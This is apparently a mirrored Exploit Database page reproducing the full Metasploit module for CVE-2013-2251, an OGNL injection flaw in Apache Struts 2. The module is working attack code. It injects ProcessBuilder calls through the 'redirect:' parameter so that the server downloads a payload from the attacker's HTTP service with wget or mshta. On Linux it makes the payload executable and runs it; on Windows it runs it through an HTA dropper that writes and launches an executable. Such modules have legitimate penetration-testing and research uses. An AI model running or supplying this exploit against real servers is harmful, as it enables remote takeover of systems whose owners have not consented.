Apache Struts 2 – DefaultActionMapper Prefixes OGNL Code Execution (Metasploit)

• Exploit Database
• 8 阅读

• 作者： Metasploit
  日期： 2013-07-27
• 类别：

  • remote
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/27135/

• ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking
  
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HttpServer
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper
  
  def initialize(info = {})
  super(update_info(info,
  'Name' => 'Apache Struts 2 DefaultActionMapper Prefixes OGNL Code Execution',
  'Description'=> %q{
  The Struts 2 DefaultActionMapper supports a method for short-circuit navigation
  state changes by prefixing parameters with "action:" or "redirect:", followed by
  a desired navigational target expression. This mechanism was intended to help with
  attaching navigational information to buttons within forms.
  
  In Struts 2 before 2.3.15.1 the information following "action:", "redirect:" or
  "redirectAction:" is not properly sanitized. Since said information will be
  evaluated as OGNL expression against the value stack, this introduces the
  possibility to inject server side code.
  
  This module has been tested successfully on Struts 2.3.15 over Tomcat 7, with
  Windows 2003 SP2 and Ubuntu 10.04 operating systems.
  },
  'License'=> MSF_LICENSE,
  'Author' =>
  [
  'Takeshi Terada', # Vulnerability discovery
  'sinn3r', # Metasploit module
  'juan vazquez'# Metasploit modules
  ],
  'References' =>
  [
  [ 'CVE', '2013-2251' ],
  [ 'OSVDB', '95405' ],
  [ 'BID', '61189' ],
  [ 'URL', 'http://struts.apache.org/release/2.3.x/docs/s2-016.html' ]
  ],
  'Platform' => [ 'win', 'linux'],
  'Targets' =>
  [
  ['Automatic', {}],
  ['Windows',
  {
  'Arch' => ARCH_X86,
  'Platform' => 'win'
  }
  ],
  ['Linux',
  {
  'Arch' => ARCH_X86,
  'Platform' => 'linux'
  }
  ]
  ],
  'DefaultOptions'=>
  {
  'WfsDelay' => 10
  },
  'Stance' => Msf::Exploit::Stance::Aggressive,
  'DisclosureDate'=> 'Jul 2 2013',
  'DefaultTarget' => 0))
  
  register_options(
  [
  Opt::RPORT(8080),
  OptString.new('TARGETURI', [true, 'Action URI', '/struts2-blank/example/HelloWorld.action']),
  OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the payload request', 60]),
  # It isn't OptPath becuase it's a *remote* path
  OptString.new("WritableDir", [ true, "A directory where we can write files (only on Linux targets)", "/tmp" ])
  ], self.class)
  end
  
  def on_new_session(session)
  if session.type == "meterpreter"
  session.core.use("stdapi") unless session.ext.aliases.include?("stdapi")
  end
  
  @dropped_files.delete_if do |file|
  false unless file =~ /\.exe/
  win_file = file.gsub("/", "\\\\")
  if session.type == "meterpreter"
  begin
  wintemp = session.fs.file.expand_path("%TEMP%")
  win_file = "#{wintemp}\\#{win_file}"
  session.shell_command_token(%Q|attrib.exe -r "#{win_file}"|)
  session.fs.file.rm(win_file)
  print_good("Deleted #{file}")
  true
  rescue ::Rex::Post::Meterpreter::RequestError
  print_error("Failed to delete #{win_file}")
  false
  end
  end
  end
  
  super
  end
  
  def start_http_service
  #do not use SSL
  if datastore['SSL']
  ssl_restore = true
  datastore['SSL'] = false
  end
  
  if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")
  srv_host = Rex::Socket.source_address(rhost)
  else
  srv_host = datastore['SRVHOST']
  end
  
  service_url = srv_host + ':' + datastore['SRVPORT'].to_s
  print_status("#{rhost}:#{rport} - Starting up our web service on #{service_url} ...")
  start_service({
  'Uri' => {
  'Proc' => Proc.new { |cli, req|
  on_request_uri(cli, req)
  },
  'Path' => '/'
  }
  })
  
  datastore['SSL'] = true if ssl_restore
  
  return service_url
  end
  
  def check
  uri = normalize_uri(target_uri.path)
  res = send_request_cgi({
  'uri' => uri,
  'method' => 'GET'
  })
  
  if res.nil? or res.code != 200
  print_error("#{rhost}:#{rport} - Check needs a valid action, returning 200, as TARGETURI")
  return Exploit::CheckCode::Unknown
  end
  
  proof = rand_text_alpha(6 + rand(4))
  
  res = send_request_cgi({
  'uri' => "#{uri}?redirect:%25{new%20java.lang.String('#{proof}')}",
  'method' => 'GET'
  })
  
  if res and res.code == 302 and res.headers['Location'] =~ /#{proof}/
  return Exploit::CheckCode::Vulnerable
  end
  
  return Exploit::CheckCode::Unknown
  end
  
  def auto_target
  uri = normalize_uri(target_uri.path)
  res = send_request_cgi({
  'uri' => uri,
  'method' => 'GET'
  })
  
  if res.nil? or res.code != 200
  fail_with(Exploit::Failure::NoTarget, "#{rhost}:#{rport} - In order to autodetect, a valid action, returning 200, must be provided as TARGETURI, returning 200")
  end
  
  proof = rand_text_alpha(6 + rand(4))
  
  res = send_request_cgi({
  'uri' => "#{uri}?redirect:%25{new%20java.io.File('.').getCanonicalPath().concat('#{proof}')}",
  'method' => 'GET'
  })
  
  if res and res.code == 302 and res.headers['Location'] =~ /#{proof}/
  if res.headers['Location'] =~ /:\\/
  return targets[1] # Windows
  else
  return targets[2] # Linux
  end
  end
  
  fail_with(Exploit::Failure::NoTarget, "#{rhost}:#{rport} - Target auto-detection didn't work")
  
  end
  
  def exploit_linux
  
  downfile = rand_text_alpha(8+rand(8))
  @pl = @exe
  @pl_sent = false
  
  #
  # start HTTP service if necessary
  #
  service_url = start_http_service
  
  #
  # download payload
  #
  fname = datastore['WritableDir']
  fname = "#{fname}/" unless fname =~ %r'/$'
  fname << downfile
  uri = normalize_uri(target_uri.path)
  uri << "?redirect:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'wget','#{service_url}','-O',new%20java.lang.String('#{fname.gsub(/\//,"$")}').replace('$','\\u002f')})).start()}"
  
  print_status("#{rhost}:#{rport} - Downloading payload to #{fname}...")
  
  res = send_request_cgi({
  'method' => 'GET',
  'uri'=> uri
  })
  
  if res.nil? or res.code != 302
  fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - OGNL injection failed")
  end
  
  #
  # wait for payload download
  #
  wait_payload
  
  register_file_for_cleanup(fname)
  
  #
  # chmod
  #
  uri = normalize_uri(target_uri.path)
  uri << "?redirect:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'chmod','777',new%20java.lang.String('#{fname.gsub(/\//,"$")}').replace('$','\\u002f')})).start()}"
  
  print_status("#{rhost}:#{rport} - Make payload executable...")
  
  res = send_request_cgi({
  'method' => 'GET',
  'uri'=> uri
  })
  
  if res.nil? or res.code != 302
  fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - OGNL injection failed")
  end
  
  #
  # execute
  #
  uri = normalize_uri(target_uri.path)
  uri << "?redirect:%25{(new%20java.lang.ProcessBuilder(new%20java.lang.String('#{fname.gsub(/\//,"$")}').replace('$','\\u002f'))).start()}"
  
  print_status("#{rhost}:#{rport} - Execute payload...")
  
  res = send_request_cgi({
  'method' => 'GET',
  'uri'=> uri
  })
  
  if res.nil? or res.code != 302
  fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - OGNL injection failed")
  end
  
  end
  
  def exploit_windows
  @var_exename = rand_text_alpha(4 + rand(4)) + '.exe'
  @pl = build_hta
  @pl_sent = false
  
  #
  # start HTTP service if necessary
  #
  service_url = start_http_service
  
  #
  # execute hta
  #
  uri = normalize_uri(target_uri.path)
  uri << "?redirect:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'mshta',new%20java.lang.String('http:nn#{service_url}').replace('n','\\u002f')})).start()}"
  
  print_status("#{rhost}:#{rport} - Execute payload through malicious HTA...")
  
  res = send_request_cgi({
  'method' => 'GET',
  'uri'=> uri
  })
  
  if res.nil? or res.code != 302
  fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - OGNL injection failed")
  end
  
  #
  # wait for payload download
  #
  wait_payload
  
  register_file_for_cleanup(@var_exename)
  end
  
  def exploit
  if target.name =~ /Automatic/
  print_status("#{rhost}:#{rport} - Target autodetection...")
  my_target = auto_target
  print_good("#{rhost}:#{rport} - #{my_target.name} target found!")
  else
  my_target = target
  end
  
  p = exploit_regenerate_payload(my_target.platform, my_target.arch)
  @exe = generate_payload_exe({:code => p.encoded, :platform => my_target.platform, :arch => my_target.arch})
  
  if my_target.name =~ /Linux/
  if datastore['PAYLOAD'] =~ /windows/
  fail_with(Exploit::Failure::BadConfig, "#{rhost}:#{rport} - The target is Linux, but you've selected a Windows payload!")
  end
  exploit_linux
  elsif my_target.name =~ /Windows/
  if datastore['PAYLOAD'] =~ /linux/
  fail_with(Exploit::Failure::BadConfig, "#{rhost}:#{rport} - The target is Windows, but you've selected a Linux payload!")
  end
  exploit_windows
  end
  end
  
  # Handle incoming requests from the server
  def on_request_uri(cli, request)
  vprint_status("#{rhost}:#{rport} - URI requested: #{request.inspect}")
  if (not @pl)
  print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!")
  return
  end
  print_status("#{rhost}:#{rport} - Sending the payload to the server...")
  @pl_sent = true
  send_response(cli, @pl)
  end
  
  # wait for the data to be sent
  def wait_payload
  print_status("#{rhost}:#{rport} - Waiting for the victim to request the payload...")
  
  waited = 0
  while (not @pl_sent)
  select(nil, nil, nil, 1)
  waited += 1
  if (waited > datastore['HTTP_DELAY'])
  fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it cant connect back to us?")
  end
  end
  end
  
  def build_hta
  var_shellobj= rand_text_alpha(rand(5)+5);
  var_fsobj= rand_text_alpha(rand(5)+5);
  var_fsobj_file= rand_text_alpha(rand(5)+5);
  var_vbsname= rand_text_alpha(rand(5)+5);
  var_writedir= rand_text_alpha(rand(5)+5);
  
  var_origLoc= rand_text_alpha(rand(5)+5);
  var_byteArray= rand_text_alpha(rand(5)+5);
  var_writestream= rand_text_alpha(rand(5)+5);
  var_strmConv= rand_text_alpha(rand(5)+5);
  
  # Doing in this way to bypass the ADODB.Stream restrictions on JS,
  # even when executing it as an "HTA" application
  # The encoding code has been stolen from ie_unsafe_scripting.rb
  print_status("#{rhost}:#{rport} - Encoding payload into vbs/javascript/hta...");
  
  # Build the content that will end up in the .vbs file
  vbs_content= Rex::Text.to_hex(%Q|
  Dim #{var_origLoc}, s, #{var_byteArray}
  #{var_origLoc} = SetLocale(1033)
  |)
  # Drop the exe payload into an ansi string (ansi ensured via SetLocale above)
  # for conversion with ADODB.Stream
  vbs_ary = []
  # The output of this loop needs to be as small as possible since it
  # gets repeated for every byte of the executable, ballooning it by a
  # factor of about 80k (the current size of the exe template).In its
  # current form, it's down to about 4MB on the wire
  @exe.each_byte do |b|
  vbs_ary << Rex::Text.to_hex("s=s&Chr(#{("%d" % b)})\n")
  end
  vbs_content << vbs_ary.join("")
  
  # Continue with the rest of the vbs file;
  # Use ADODB.Stream to convert from an ansi string to it's byteArray equivalent
  # Then use ADODB.Stream again to write the binary to file.
  #print_status("Finishing vbs...");
  vbs_content << Rex::Text.to_hex(%Q|
  Dim #{var_strmConv}, #{var_writedir}, #{var_writestream}
  #{var_writedir} = WScript.CreateObject("WScript.Shell").ExpandEnvironmentStrings("%TEMP%") & "\\#{@var_exename}"
  
  Set #{var_strmConv} = CreateObject("ADODB.Stream")
  
  #{var_strmConv}.Type = 2
  #{var_strmConv}.Charset = "x-ansi"
  #{var_strmConv}.Open
  #{var_strmConv}.WriteText s, 0
  #{var_strmConv}.Position = 0
  #{var_strmConv}.Type = 1
  #{var_strmConv}.SaveToFile #{var_writedir}, 2
  
  SetLocale(#{var_origLoc})|)
  
  hta = <<-EOS
  <script>
  var #{var_shellobj} = new ActiveXObject("WScript.Shell");
  var #{var_fsobj}= new ActiveXObject("Scripting.FileSystemObject");
  var #{var_writedir} = #{var_shellobj}.ExpandEnvironmentStrings("%TEMP%");
  var #{var_fsobj_file} = #{var_fsobj}.OpenTextFile(#{var_writedir} + "\\\\" + "#{var_vbsname}.vbs",2,true);
  
  #{var_fsobj_file}.Write(unescape("#{vbs_content}"));
  #{var_fsobj_file}.Close();
  
  #{var_shellobj}.run("wscript.exe " + #{var_writedir} + "\\\\" + "#{var_vbsname}.vbs", 1, true);
  #{var_shellobj}.run(#{var_writedir} + "\\\\" + "#{@var_exename}", 0, false);
  #{var_fsobj}.DeleteFile(#{var_writedir} + "\\\\" + "#{var_vbsname}.vbs");
  window.close();
  </script>
  EOS
  
  return hta
  end
  
  
  end